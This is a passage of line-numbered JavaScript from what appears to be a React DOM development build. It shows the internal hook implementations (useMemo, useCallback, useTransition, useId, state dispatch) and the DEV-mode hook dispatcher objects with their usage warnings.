16372 error('Expected useImperativeHandle() second argument to be a function ' + 'that creates a handle. Instead received: %s.', create !== null ? typeof create : 'null');
16373 }
16374 } // TODO: If deps are provided, should we skip comparing the ref itself?
16375
16376
16377 var effectDeps = deps !== null && deps !== undefined ? deps.concat([ref]) : null;
16378 return updateEffectImpl(Update, Layout, imperativeHandleEffect.bind(null, create, ref), effectDeps);
16379 }
16380
16381 function mountDebugValue(value, formatterFn) {// This hook is normally a no-op.
16382 // The react-debug-hooks package injects its own implementation
16383 // so that e.g. DevTools can display custom hook values.
16384 }
16385
16386 var updateDebugValue = mountDebugValue;
16387
16388 function mountCallback(callback, deps) {
16389 var hook = mountWorkInProgressHook();
16390 var nextDeps = deps === undefined ? null : deps;
16391 hook.memoizedState = [callback, nextDeps];
16392 return callback;
16393 }
16394
16395 function updateCallback(callback, deps) {
16396 var hook = updateWorkInProgressHook();
16397 var nextDeps = deps === undefined ? null : deps;
16398 var prevState = hook.memoizedState;
16399
16400 if (prevState !== null) {
16401 if (nextDeps !== null) {
16402 var prevDeps = prevState[1];
16403
16404 if (areHookInputsEqual(nextDeps, prevDeps)) {
16405 return prevState[0];
16406 }
16407 }
16408 }
16409
16410 hook.memoizedState = [callback, nextDeps];
16411 return callback;
16412 }
16413
16414 function mountMemo(nextCreate, deps) {
16415 var hook = mountWorkInProgressHook();
16416 var nextDeps = deps === undefined ? null : deps;
16417 var nextValue = nextCreate();
16418 hook.memoizedState = [nextValue, nextDeps];
16419 return nextValue;
16420 }
16421
16422 function updateMemo(nextCreate, deps) {
16423 var hook = updateWorkInProgressHook();
16424 var nextDeps = deps === undefined ? null : deps;
16425 var prevState = hook.memoizedState;
16426
16427 if (prevState !== null) {
16428 // Assume these are defined. If they're not, areHookInputsEqual will warn.
16429 if (nextDeps !== null) {
16430 var prevDeps = prevState[1];
16431
16432 if (areHookInputsEqual(nextDeps, prevDeps)) {
16433 return prevState[0];
16434 }
16435 }
16436 }
16437
16438 var nextValue = nextCreate();
16439 hook.memoizedState = [nextValue, nextDeps];
16440 return nextValue;
16441 }
16442
16443 function mountDeferredValue(value) {
16444 var hook = mountWorkInProgressHook();
16445 hook.memoizedState = value;
16446 return value;
16447 }
16448
16449 function updateDeferredValue(value) {
16450 var hook = updateWorkInProgressHook();
16451 var resolvedCurrentHook = currentHook;
16452 var prevValue = resolvedCurrentHook.memoizedState;
16453 return updateDeferredValueImpl(hook, prevValue, value);
16454 }
16455
16456 function rerenderDeferredValue(value) {
16457 var hook = updateWorkInProgressHook();
16458
16459 if (currentHook === null) {
16460 // This is a rerender during a mount.
16461 hook.memoizedState = value;
16462 return value;
16463 } else {
16464 // This is a rerender during an update.
16465 var prevValue = currentHook.memoizedState;
16466 return updateDeferredValueImpl(hook, prevValue, value);
16467 }
16468 }
16469
16470 function updateDeferredValueImpl(hook, prevValue, value) {
16471 var shouldDeferValue = !includesOnlyNonUrgentLanes(renderLanes);
16472
16473 if (shouldDeferValue) {
16474 // This is an urgent update. If the value has changed, keep using the
16475 // previous value and spawn a deferred render to update it later.
16476 if (!objectIs(value, prevValue)) {
16477 // Schedule a deferred render
16478 var deferredLane = claimNextTransitionLane();
16479 currentlyRenderingFiber$1.lanes = mergeLanes(currentlyRenderingFiber$1.lanes, deferredLane);
16480 markSkippedUpdateLanes(deferredLane); // Set this to true to indicate that the rendered value is inconsistent
16481 // from the latest value. The name "baseState" doesn't really match how we
16482 // use it because we're reusing a state hook field instead of creating a
16483 // new one.
16484
16485 hook.baseState = true;
16486 } // Reuse the previous value
16487
16488
16489 return prevValue;
16490 } else {
16491 // This is not an urgent update, so we can use the latest value regardless
16492 // of what it is. No need to defer it.
16493 // However, if we're currently inside a spawned render, then we need to mark
16494 // this as an update to prevent the fiber from bailing out.
16495 //
16496 // `baseState` is true when the current value is different from the rendered
16497 // value. The name doesn't really match how we use it because we're reusing
16498 // a state hook field instead of creating a new one.
16499 if (hook.baseState) {
16500 // Flip this back to false.
16501 hook.baseState = false;
16502 markWorkInProgressReceivedUpdate();
16503 }
16504
16505 hook.memoizedState = value;
16506 return value;
16507 }
16508 }
16509
16510 function startTransition(setPending, callback, options) {
16511 var previousPriority = getCurrentUpdatePriority();
16512 setCurrentUpdatePriority(higherEventPriority(previousPriority, ContinuousEventPriority));
16513 setPending(true);
16514 var prevTransition = ReactCurrentBatchConfig$2.transition;
16515 ReactCurrentBatchConfig$2.transition = {};
16516 var currentTransition = ReactCurrentBatchConfig$2.transition;
16517
16518 {
16519 ReactCurrentBatchConfig$2.transition._updatedFibers = new Set();
16520 }
16521
16522 try {
16523 setPending(false);
16524 callback();
16525 } finally {
16526 setCurrentUpdatePriority(previousPriority);
16527 ReactCurrentBatchConfig$2.transition = prevTransition;
16528
16529 {
16530 if (prevTransition === null && currentTransition._updatedFibers) {
16531 var updatedFibersCount = currentTransition._updatedFibers.size;
16532
16533 if (updatedFibersCount > 10) {
16534 warn('Detected a large number of updates inside startTransition. ' + 'If this is due to a subscription please re-write it to use React provided hooks. ' + 'Otherwise concurrent mode guarantees are off the table.');
16535 }
16536
16537 currentTransition._updatedFibers.clear();
16538 }
16539 }
16540 }
16541 }
16542
16543 function mountTransition() {
16544 var _mountState = mountState(false),
16545 isPending = _mountState[0],
16546 setPending = _mountState[1]; // The `start` method never changes.
16547
16548
16549 var start = startTransition.bind(null, setPending);
16550 var hook = mountWorkInProgressHook();
16551 hook.memoizedState = start;
16552 return [isPending, start];
16553 }
16554
16555 function updateTransition() {
16556 var _updateState = updateState(),
16557 isPending = _updateState[0];
16558
16559 var hook = updateWorkInProgressHook();
16560 var start = hook.memoizedState;
16561 return [isPending, start];
16562 }
16563
16564 function rerenderTransition() {
16565 var _rerenderState = rerenderState(),
16566 isPending = _rerenderState[0];
16567
16568 var hook = updateWorkInProgressHook();
16569 var start = hook.memoizedState;
16570 return [isPending, start];
16571 }
16572
16573 var isUpdatingOpaqueValueInRenderPhase = false;
16574 function getIsUpdatingOpaqueValueInRenderPhaseInDEV() {
16575 {
16576 return isUpdatingOpaqueValueInRenderPhase;
16577 }
16578 }
16579
16580 function mountId() {
16581 var hook = mountWorkInProgressHook();
16582 var root = getWorkInProgressRoot(); // TODO: In Fizz, id generation is specific to each server config. Maybe we
16583 // should do this in Fiber, too? Deferring this decision for now because
16584 // there's no other place to store the prefix except for an internal field on
16585 // the public createRoot object, which the fiber tree does not currently have
16586 // a reference to.
16587
16588 var identifierPrefix = root.identifierPrefix;
16589 var id;
16590
16591 if (getIsHydrating()) {
16592 var treeId = getTreeId(); // Use a captial R prefix for server-generated ids.
16593
16594 id = ':' + identifierPrefix + 'R' + treeId; // Unless this is the first id at this level, append a number at the end
16595 // that represents the position of this useId hook among all the useId
16596 // hooks for this fiber.
16597
16598 var localId = localIdCounter++;
16599
16600 if (localId > 0) {
16601 id += 'H' + localId.toString(32);
16602 }
16603
16604 id += ':';
16605 } else {
16606 // Use a lowercase r prefix for client-generated ids.
16607 var globalClientId = globalClientIdCounter++;
16608 id = ':' + identifierPrefix + 'r' + globalClientId.toString(32) + ':';
16609 }
16610
16611 hook.memoizedState = id;
16612 return id;
16613 }
16614
16615 function updateId() {
16616 var hook = updateWorkInProgressHook();
16617 var id = hook.memoizedState;
16618 return id;
16619 }
16620
16621 function dispatchReducerAction(fiber, queue, action) {
16622 {
16623 if (typeof arguments[3] === 'function') {
16624 error("State updates from the useState() and useReducer() Hooks don't support the " + 'second callback argument. To execute a side effect after ' + 'rendering, declare it in the component body with useEffect().');
16625 }
16626 }
16627
16628 var lane = requestUpdateLane(fiber);
16629 var update = {
16630 lane: lane,
16631 action: action,
16632 hasEagerState: false,
16633 eagerState: null,
16634 next: null
16635 };
16636
16637 if (isRenderPhaseUpdate(fiber)) {
16638 enqueueRenderPhaseUpdate(queue, update);
16639 } else {
16640 var root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);
16641
16642 if (root !== null) {
16643 var eventTime = requestEventTime();
16644 scheduleUpdateOnFiber(root, fiber, lane, eventTime);
16645 entangleTransitionUpdate(root, queue, lane);
16646 }
16647 }
16648
16649 markUpdateInDevTools(fiber, lane);
16650 }
16651
16652 function dispatchSetState(fiber, queue, action) {
16653 {
16654 if (typeof arguments[3] === 'function') {
16655 error("State updates from the useState() and useReducer() Hooks don't support the " + 'second callback argument. To execute a side effect after ' + 'rendering, declare it in the component body with useEffect().');
16656 }
16657 }
16658
16659 var lane = requestUpdateLane(fiber);
16660 var update = {
16661 lane: lane,
16662 action: action,
16663 hasEagerState: false,
16664 eagerState: null,
16665 next: null
16666 };
16667
16668 if (isRenderPhaseUpdate(fiber)) {
16669 enqueueRenderPhaseUpdate(queue, update);
16670 } else {
16671 var alternate = fiber.alternate;
16672
16673 if (fiber.lanes === NoLanes && (alternate === null || alternate.lanes === NoLanes)) {
16674 // The queue is currently empty, which means we can eagerly compute the
16675 // next state before entering the render phase. If the new state is the
16676 // same as the current state, we may be able to bail out entirely.
16677 var lastRenderedReducer = queue.lastRenderedReducer;
16678
16679 if (lastRenderedReducer !== null) {
16680 var prevDispatcher;
16681
16682 {
16683 prevDispatcher = ReactCurrentDispatcher$1.current;
16684 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
16685 }
16686
16687 try {
16688 var currentState = queue.lastRenderedState;
16689 var eagerState = lastRenderedReducer(currentState, action); // Stash the eagerly computed state, and the reducer used to compute
16690 // it, on the update object. If the reducer hasn't changed by the
16691 // time we enter the render phase, then the eager state can be used
16692 // without calling the reducer again.
16693
16694 update.hasEagerState = true;
16695 update.eagerState = eagerState;
16696
16697 if (objectIs(eagerState, currentState)) {
16698 // Fast path. We can bail out without scheduling React to re-render.
16699 // It's still possible that we'll need to rebase this update later,
16700 // if the component re-renders for a different reason and by that
16701 // time the reducer has changed.
16702 // TODO: Do we still need to entangle transitions in this case?
16703 enqueueConcurrentHookUpdateAndEagerlyBailout(fiber, queue, update, lane);
16704 return;
16705 }
16706 } catch (error) {// Suppress the error. It will throw again in the render phase.
16707 } finally {
16708 {
16709 ReactCurrentDispatcher$1.current = prevDispatcher;
16710 }
16711 }
16712 }
16713 }
16714
16715 var root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);
16716
16717 if (root !== null) {
16718 var eventTime = requestEventTime();
16719 scheduleUpdateOnFiber(root, fiber, lane, eventTime);
16720 entangleTransitionUpdate(root, queue, lane);
16721 }
16722 }
16723
16724 markUpdateInDevTools(fiber, lane);
16725 }
16726
16727 function isRenderPhaseUpdate(fiber) {
16728 var alternate = fiber.alternate;
16729 return fiber === currentlyRenderingFiber$1 || alternate !== null && alternate === currentlyRenderingFiber$1;
16730 }
16731
16732 function enqueueRenderPhaseUpdate(queue, update) {
16733 // This is a render phase update. Stash it in a lazily-created map of
16734 // queue -> linked list of updates. After this render pass, we'll restart
16735 // and apply the stashed updates on top of the work-in-progress hook.
16736 didScheduleRenderPhaseUpdateDuringThisPass = didScheduleRenderPhaseUpdate = true;
16737 var pending = queue.pending;
16738
16739 if (pending === null) {
16740 // This is the first update. Create a circular list.
16741 update.next = update;
16742 } else {
16743 update.next = pending.next;
16744 pending.next = update;
16745 }
16746
16747 queue.pending = update;
16748 } // TODO: Move to ReactFiberConcurrentUpdates?
16749
16750
16751 function entangleTransitionUpdate(root, queue, lane) {
16752 if (isTransitionLane(lane)) {
16753 var queueLanes = queue.lanes; // If any entangled lanes are no longer pending on the root, then they
16754 // must have finished. We can remove them from the shared queue, which
16755 // represents a superset of the actually pending lanes. In some cases we
16756 // may entangle more than we need to, but that's OK. In fact it's worse if
16757 // we *don't* entangle when we should.
16758
16759 queueLanes = intersectLanes(queueLanes, root.pendingLanes); // Entangle the new transition lane with the other transition lanes.
16760
16761 var newQueueLanes = mergeLanes(queueLanes, lane);
16762 queue.lanes = newQueueLanes; // Even if queue.lanes already include lane, we don't know for certain if
16763 // the lane finished since the last time we entangled it. So we need to
16764 // entangle it again, just to be sure.
16765
16766 markRootEntangled(root, newQueueLanes);
16767 }
16768 }
16769
16770 function markUpdateInDevTools(fiber, lane, action) {
16771
16772 {
16773 markStateUpdateScheduled(fiber, lane);
16774 }
16775 }
16776
16777 var ContextOnlyDispatcher = {
16778 readContext: readContext,
16779 useCallback: throwInvalidHookError,
16780 useContext: throwInvalidHookError,
16781 useEffect: throwInvalidHookError,
16782 useImperativeHandle: throwInvalidHookError,
16783 useInsertionEffect: throwInvalidHookError,
16784 useLayoutEffect: throwInvalidHookError,
16785 useMemo: throwInvalidHookError,
16786 useReducer: throwInvalidHookError,
16787 useRef: throwInvalidHookError,
16788 useState: throwInvalidHookError,
16789 useDebugValue: throwInvalidHookError,
16790 useDeferredValue: throwInvalidHookError,
16791 useTransition: throwInvalidHookError,
16792 useMutableSource: throwInvalidHookError,
16793 useSyncExternalStore: throwInvalidHookError,
16794 useId: throwInvalidHookError,
16795 unstable_isNewReconciler: enableNewReconciler
16796 };
16797
16798 var HooksDispatcherOnMountInDEV = null;
16799 var HooksDispatcherOnMountWithHookTypesInDEV = null;
16800 var HooksDispatcherOnUpdateInDEV = null;
16801 var HooksDispatcherOnRerenderInDEV = null;
16802 var InvalidNestedHooksDispatcherOnMountInDEV = null;
16803 var InvalidNestedHooksDispatcherOnUpdateInDEV = null;
16804 var InvalidNestedHooksDispatcherOnRerenderInDEV = null;
16805
16806 {
16807 var warnInvalidContextAccess = function () {
16808 error('Context can only be read while React is rendering. ' + 'In classes, you can read it in the render method or getDerivedStateFromProps. ' + 'In function components, you can read it directly in the function body, but not ' + 'inside Hooks like useReducer() or useMemo().');
16809 };
16810
16811 var warnInvalidHookAccess = function () {
16812 error('Do not call Hooks inside useEffect(...), useMemo(...), or other built-in Hooks. ' + 'You can only call Hooks at the top level of your React function. ' + 'For more information, see ' + 'https://reactjs.org/link/rules-of-hooks');
16813 };
16814
16815 HooksDispatcherOnMountInDEV = {
16816 readContext: function (context) {
16817 return readContext(context);
16818 },
16819 useCallback: function (callback, deps) {
16820 currentHookNameInDev = 'useCallback';
16821 mountHookTypesDev();
16822 checkDepsAreArrayDev(deps);
16823 return mountCallback(callback, deps);
16824 },
16825 useContext: function (context) {
16826 currentHookNameInDev = 'useContext';
16827 mountHookTypesDev();
16828 return readContext(context);
16829 },
16830 useEffect: function (create, deps) {
16831 currentHookNameInDev = 'useEffect';
16832 mountHookTypesDev();
16833 checkDepsAreArrayDev(deps);
16834 return mountEffect(create, deps);
16835 },
16836 useImperativeHandle: function (ref, create, deps) {
16837 currentHookNameInDev = 'useImperativeHandle';
16838 mountHookTypesDev();
16839 checkDepsAreArrayDev(deps);
16840 return mountImperativeHandle(ref, create, deps);
16841 },
16842 useInsertionEffect: function (create, deps) {
16843 currentHookNameInDev = 'useInsertionEffect';
16844 mountHookTypesDev();
16845 checkDepsAreArrayDev(deps);
16846 return mountInsertionEffect(create, deps);
16847 },
16848 useLayoutEffect: function (create, deps) {
16849 currentHookNameInDev = 'useLayoutEffect';
16850 mountHookTypesDev();
16851 checkDepsAreArrayDev(deps);
16852 return mountLayoutEffect(create, deps);
16853 },
16854 useMemo: function (create, deps) {
16855 currentHookNameInDev = 'useMemo';
16856 mountHookTypesDev();
16857 checkDepsAreArrayDev(deps);
16858 var prevDispatcher = ReactCurrentDispatcher$1.current;
16859 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
16860
16861 try {
16862 return mountMemo(create, deps);
16863 } finally {
16864 ReactCurrentDispatcher$1.current = prevDispatcher;
16865 }
16866 },
16867 useReducer: function (reducer, initialArg, init) {
16868 currentHookNameInDev = 'useReducer';
16869 mountHookTypesDev();
16870 var prevDispatcher = ReactCurrentDispatcher$1.current;
16871 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
16872
16873 try {
16874 return mountReducer(reducer, initialArg, init);
16875 } finally {
16876 ReactCurrentDispatcher$1.current = prevDispatcher;
16877 }
16878 },
16879 useRef: function (initialValue) {
16880 currentHookNameInDev = 'useRef';
16881 mountHookTypesDev();
16882 return mountRef(initialValue);
16883 },
16884 useState: function (initialState) {
16885 currentHookNameInDev = 'useState';
16886 mountHookTypesDev();
16887 var prevDispatcher = ReactCurrentDispatcher$1.current;
16888 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
16889
16890 try {
16891 return mountState(initialState);
16892 } finally {
16893 ReactCurrentDispatcher$1.current = prevDispatcher;
16894 }
16895 },
16896 useDebugValue: function (value, formatterFn) {
16897 currentHookNameInDev = 'useDebugValue';
16898 mountHookTypesDev();
16899 return mountDebugValue();
16900 },
16901 useDeferredValue: function (value) {
16902 currentHookNameInDev = 'useDeferredValue';
16903 mountHookTypesDev();
16904 return mountDeferredValue(value);
16905 },
16906 useTransition: function () {
16907 currentHookNameInDev = 'useTransition';
16908 mountHookTypesDev();
16909 return mountTransition();
16910 },
16911 useMutableSource: function (source, getSnapshot, subscribe) {
16912 currentHookNameInDev = 'useMutableSource';
16913 mountHookTypesDev();
16914 return mountMutableSource();
16915 },
16916 useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
16917 currentHookNameInDev = 'useSyncExternalStore';
16918 mountHookTypesDev();
16919 return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
16920 },
16921 useId: function () {
16922 currentHookNameInDev = 'useId';
16923 mountHookTypesDev();
16924 return mountId();
16925 },
16926 unstable_isNewReconciler: enableNewReconciler
16927 };
16928
16929 HooksDispatcherOnMountWithHookTypesInDEV = {
16930 readContext: function (context) {
16931 return readContext(context);
16932 },
16933 useCallback: function (callback, deps) {
16934 currentHookNameInDev = 'useCallback';
16935 updateHookTypesDev();
16936 return mountCallback(callback, deps);
16937 },
16938 useContext: function (context) {
16939 currentHookNameInDev = 'useContext';
16940 updateHookTypesDev();
16941 return readContext(context);
16942 },
16943 useEffect: function (create, deps) {
16944 currentHookNameInDev = 'useEffect';
16945 updateHookTypesDev();
16946 return mountEffect(create, deps);
16947 },
16948 useImperativeHandle: function (ref, create, deps) {
16949 currentHookNameInDev = 'useImperativeHandle';
16950 updateHookTypesDev();
16951 return mountImperativeHandle(ref, create, deps);
16952 },
16953 useInsertionEffect: function (create, deps) {
16954 currentHookNameInDev = 'useInsertionEffect';
16955 updateHookTypesDev();
16956 return mountInsertionEffect(create, deps);
16957 },
16958 useLayoutEffect: function (create, deps) {
16959 currentHookNameInDev = 'useLayoutEffect';
16960 updateHookTypesDev();
16961 return mountLayoutEffect(create, deps);
16962 },
16963 useMemo: function (create, deps) {
16964 currentHookNameInDev = 'useMemo';
16965 updateHookTypesDev();
16966 var prevDispatcher = ReactCurrentDispatcher$1.current;
16967 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
16968
16969 try {
16970 return mountMemo(create, deps);
16971 } finally {
16972 ReactCurrentDispatcher$1.current = prevDispatcher;
16973 }
16974 },
16975 useReducer: function (reducer, initialArg, init) {
16976 currentHookNameInDev = 'useReducer';
16977 updateHookTypesDev();
16978 var prevDispatcher = ReactCurrentDispatcher$1.current;
16979 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
16980
16981 try {
16982 return mountReducer(reducer, initialArg, init);
16983 } finally {
16984 ReactCurrentDispatcher$1.current = prevDispatcher;
16985 }
16986 },
16987 useRef: function (initialValue) {
16988 currentHookNameInDev = 'useRef';
16989 updateHookTypesDev();
16990 return mountRef(initialValue);
16991 },
16992 useState: function (initialState) {
16993 currentHookNameInDev = 'useState';
16994 updateHookTypesDev();
16995 var prevDispatcher = ReactCurrentDispatcher$1.current;
16996 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
16997
16998 try {
16999 return mountState(initialState);
17000 } finally {
17001 ReactCurrentDispatcher$1.current = prevDispatcher;
17002 }
17003 },
17004 useDebugValue: function (value, formatterFn) {
17005 currentHookNameInDev = 'useDebugValue';
17006 updateHookTypesDev();
17007 return mountDebugValue();
17008 },
17009 useDeferredValue: function (value) {
17010 currentHookNameInDev = 'useDeferredValue';
17011 updateHookTypesDev();
17012 return mountDeferredValue(value);
17013 },
17014 useTransition: function () {
17015 currentHookNameInDev = 'useTransition';
17016 updateHookTypesDev();
17017 return mountTransition();
17018 },
17019 useMutableSource: function (source, getSnapshot, subscribe) {
17020 currentHookNameInDev = 'useMutableSource';
17021 updateHookTypesDev();
17022 return mountMutableSource();
17023 },
17024 useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
17025 currentHookNameInDev = 'useSyncExternalStore';
17026 updateHookTypesDev();
17027 return mountSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
17028 },
17029 useId: function () {
17030 currentHookNameInDev = 'useId';
17031 updateHookTypesDev();
17032 return mountId();
17033 },
17034 unstable_isNewReconciler: enableNewReconciler
17035 };
17036
17037 HooksDispatcherOnUpdateInDEV = {
17038 readContext: function (context) {
17039 return readContext(context);
17040 },
17041 useCallback: function (callback, deps) {
17042 currentHookNameInDev = 'useCallback';
17043 updateHookTypesDev();
17044 return updateCallback(callback, deps);
17045 },
17046 useContext: function (context) {
17047 currentHookNameInDev = 'useContext';
17048 updateHookTypesDev();
17049 return readContext(context);
17050 },
17051 useEffect: function (create, deps) {
17052 currentHookNameInDev = 'useEffect';
17053 updateHookTypesDev();
17054 return updateEffect(create, deps);
17055 },
17056 useImperativeHandle: function (ref, create, deps) {
17057 currentHookNameInDev = 'useImperativeHandle';
17058 updateHookTypesDev();
17059 return updateImperativeHandle(ref, create, deps);
17060 },
17061 useInsertionEffect: function (create, deps) {
17062 currentHookNameInDev = 'useInsertionEffect';
17063 updateHookTypesDev();
17064 return updateInsertionEffect(create, deps);
17065 },
17066 useLayoutEffect: function (create, deps) {
17067 currentHookNameInDev = 'useLayoutEffect';
17068 updateHookTypesDev();
17069 return updateLayoutEffect(create, deps);
17070 },
17071 useMemo: function (create, deps) {
17072 currentHookNameInDev = 'useMemo';
17073 updateHookTypesDev();
17074 var prevDispatcher = ReactCurrentDispatcher$1.current;
17075 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17076
17077 try {
17078 return updateMemo(create, deps);
17079 } finally {
17080 ReactCurrentDispatcher$1.current = prevDispatcher;
17081 }
17082 },
17083 useReducer: function (reducer, initialArg, init) {
17084 currentHookNameInDev = 'useReducer';
17085 updateHookTypesDev();
17086 var prevDispatcher = ReactCurrentDispatcher$1.current;
17087 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17088
17089 try {
17090 return updateReducer(reducer, initialArg, init);
17091 } finally {
17092 ReactCurrentDispatcher$1.current = prevDispatcher;
17093 }
17094 },
17095 useRef: function (initialValue) {
17096 currentHookNameInDev = 'useRef';
17097 updateHookTypesDev();
17098 return updateRef();
17099 },
17100 useState: function (initialState) {
17101 currentHookNameInDev = 'useState';
17102 updateHookTypesDev();
17103 var prevDispatcher = ReactCurrentDispatcher$1.current;
17104 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnUpdateInDEV;
17105
17106 try {
17107 return updateState(initialState);
17108 } finally {
17109 ReactCurrentDispatcher$1.current = prevDispatcher;
17110 }
17111 },
17112 useDebugValue: function (value, formatterFn) {
17113 currentHookNameInDev = 'useDebugValue';
17114 updateHookTypesDev();
17115 return updateDebugValue();
17116 },
17117 useDeferredValue: function (value) {
17118 currentHookNameInDev = 'useDeferredValue';
17119 updateHookTypesDev();
17120 return updateDeferredValue(value);
17121 },
17122 useTransition: function () {
17123 currentHookNameInDev = 'useTransition';
17124 updateHookTypesDev();
17125 return updateTransition();
17126 },
17127 useMutableSource: function (source, getSnapshot, subscribe) {
17128 currentHookNameInDev = 'useMutableSource';
17129 updateHookTypesDev();
17130 return updateMutableSource();
17131 },
17132 useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
17133 currentHookNameInDev = 'useSyncExternalStore';
17134 updateHookTypesDev();
17135 return updateSyncExternalStore(subscribe, getSnapshot);
17136 },
17137 useId: function () {
17138 currentHookNameInDev = 'useId';
17139 updateHookTypesDev();
17140 return updateId();
17141 },
17142 unstable_isNewReconciler: enableNewReconciler
17143 };
17144
17145 HooksDispatcherOnRerenderInDEV = {
17146 readContext: function (context) {
17147 return readContext(context);
17148 },
17149 useCallback: function (callback, deps) {
17150 currentHookNameInDev = 'useCallback';
17151 updateHookTypesDev();
17152 return updateCallback(callback, deps);
17153 },
17154 useContext: function (context) {
17155 currentHookNameInDev = 'useContext';
17156 updateHookTypesDev();
17157 return readContext(context);
17158 },
17159 useEffect: function (create, deps) {
17160 currentHookNameInDev = 'useEffect';
17161 updateHookTypesDev();
17162 return updateEffect(create, deps);
17163 },
17164 useImperativeHandle: function (ref, create, deps) {
17165 currentHookNameInDev = 'useImperativeHandle';
17166 updateHookTypesDev();
17167 return updateImperativeHandle(ref, create, deps);
17168 },
17169 useInsertionEffect: function (create, deps) {
17170 currentHookNameInDev = 'useInsertionEffect';
17171 updateHookTypesDev();
17172 return updateInsertionEffect(create, deps);
17173 },
17174 useLayoutEffect: function (create, deps) {
17175 currentHookNameInDev = 'useLayoutEffect';
17176 updateHookTypesDev();
17177 return updateLayoutEffect(create, deps);
17178 },
17179 useMemo: function (create, deps) {
17180 currentHookNameInDev = 'useMemo';
17181 updateHookTypesDev();
17182 var prevDispatcher = ReactCurrentDispatcher$1.current;
17183 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;
17184
17185 try {
17186 return updateMemo(create, deps);
17187 } finally {
17188 ReactCurrentDispatcher$1.current = prevDispatcher;
17189 }
17190 },
17191 useReducer: function (reducer, initialArg, init) {
17192 currentHookNameInDev = 'useReducer';
17193 updateHookTypesDev();
17194 var prevDispatcher = ReactCurrentDispatcher$1.current;
17195 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;
17196
17197 try {
17198 return rerenderReducer(reducer, initialArg, init);
17199 } finally {
17200 ReactCurrentDispatcher$1.current = prevDispatcher;
17201 }
17202 },
17203 useRef: function (initialValue) {
17204 currentHookNameInDev = 'useRef';
17205 updateHookTypesDev();
17206 return updateRef();
17207 },
17208 useState: function (initialState) {
17209 currentHookNameInDev = 'useState';
17210 updateHookTypesDev();
17211 var prevDispatcher = ReactCurrentDispatcher$1.current;
17212 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnRerenderInDEV;
17213
17214 try {
17215 return rerenderState(initialState);
17216 } finally {
17217 ReactCurrentDispatcher$1.current = prevDispatcher;
17218 }
17219 },
17220 useDebugValue: function (value, formatterFn) {
17221 currentHookNameInDev = 'useDebugValue';
17222 updateHookTypesDev();
17223 return updateDebugValue();
17224 },
17225 useDeferredValue: function (value) {
17226 currentHookNameInDev = 'useDeferredValue';
17227 updateHookTypesDev();
17228 return rerenderDeferredValue(value);
17229 },
17230 useTransition: function () {
17231 currentHookNameInDev = 'useTransition';
17232 updateHookTypesDev();
17233 return rerenderTransition();
17234 },
17235 useMutableSource: function (source, getSnapshot, subscribe) {
17236 currentHookNameInDev = 'useMutableSource';
17237 updateHookTypesDev();
17238 return updateMutableSource();
17239 },
17240 useSyncExternalStore: function (subscribe, getSnapshot, getServerSnapshot) {
17241 currentHookNameInDev = 'useSyncExternalStore';
17242 updateHookTypesDev();
17243 return updateSyncExternalStore(subscribe, getSnapshot);
17244 },
17245 useId: function () {
17246 currentHookNameInDev = 'useId';
17247 updateHookTypesDev();
17248 return updateId();
17249 },
17250 unstable_isNewReconciler: enableNewReconciler
17251 };
17252
17253 InvalidNestedHooksDispatcherOnMountInDEV = {
17254 readContext: function (context) {
17255 warnInvalidContextAccess();
17256 return readContext(context);
17257 },
17258 useCallback: function (callback, deps) {
17259 currentHookNameInDev = 'useCallback';
17260 warnInvalidHookAccess();
17261 mountHookTypesDev();
17262 return mountCallback(callback, deps);
17263 },
17264 useContext: function (context) {
17265 currentHookNameInDev = 'useContext';
17266 warnInvalidHookAccess();
17267 mountHookTypesDev();
17268 return readContext(context);
17269 },
17270 useEffect: function (create, deps) {
17271 currentHookNameInDev = 'useEffect';
17272 warnInvalidHookAccess();
17273 mountHookTypesDev();
17274 return mountEffect(create, deps);
17275 },
17276 useImperativeHandle: function (ref, create, deps) {
17277 currentHookNameInDev = 'useImperativeHandle';
17278 warnInvalidHookAccess();
17279 mountHookTypesDev();
17280 return mountImperativeHandle(ref, create, deps);
17281 },
17282 useInsertionEffect: function (create, deps) {
17283 currentHookNameInDev = 'useInsertionEffect';
17284 warnInvalidHookAccess();
17285 mountHookTypesDev();
17286 return mountInsertionEffect(create, deps);
17287 },
17288 useLayoutEffect: function (create, deps) {
17289 currentHookNameInDev = 'useLayoutEffect';
17290 warnInvalidHookAccess();
17291 mountHookTypesDev();
17292 return mountLayoutEffect(create, deps);
17293 },
17294 useMemo: function (create, deps) {
17295 currentHookNameInDev = 'useMemo';
17296 warnInvalidHookAccess();
17297 mountHookTypesDev();
17298 var prevDispatcher = ReactCurrentDispatcher$1.current;
17299 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
17300
17301 try {
17302 return mountMemo(create, deps);
17303 } finally {
17304 ReactCurrentDispatcher$1.current = prevDispatcher;
17305 }
17306 },
17307 useReducer: function (reducer, initialArg, init) {
17308 currentHookNameInDev = 'useReducer';
17309 warnInvalidHookAccess();
17310 mountHookTypesDev();
17311 var prevDispatcher = ReactCurrentDispatcher$1.current;
17312 ReactCurrentDispatcher$1.current = InvalidNestedHooksDispatcherOnMountInDEV;
17313
17314 try {
17315 return mountReducer(reducer, initialArg, init);
17316 } finally {
17317 ReactCurrentDispatcher$1.current = prevDispatcher;
17318 }
17319 },
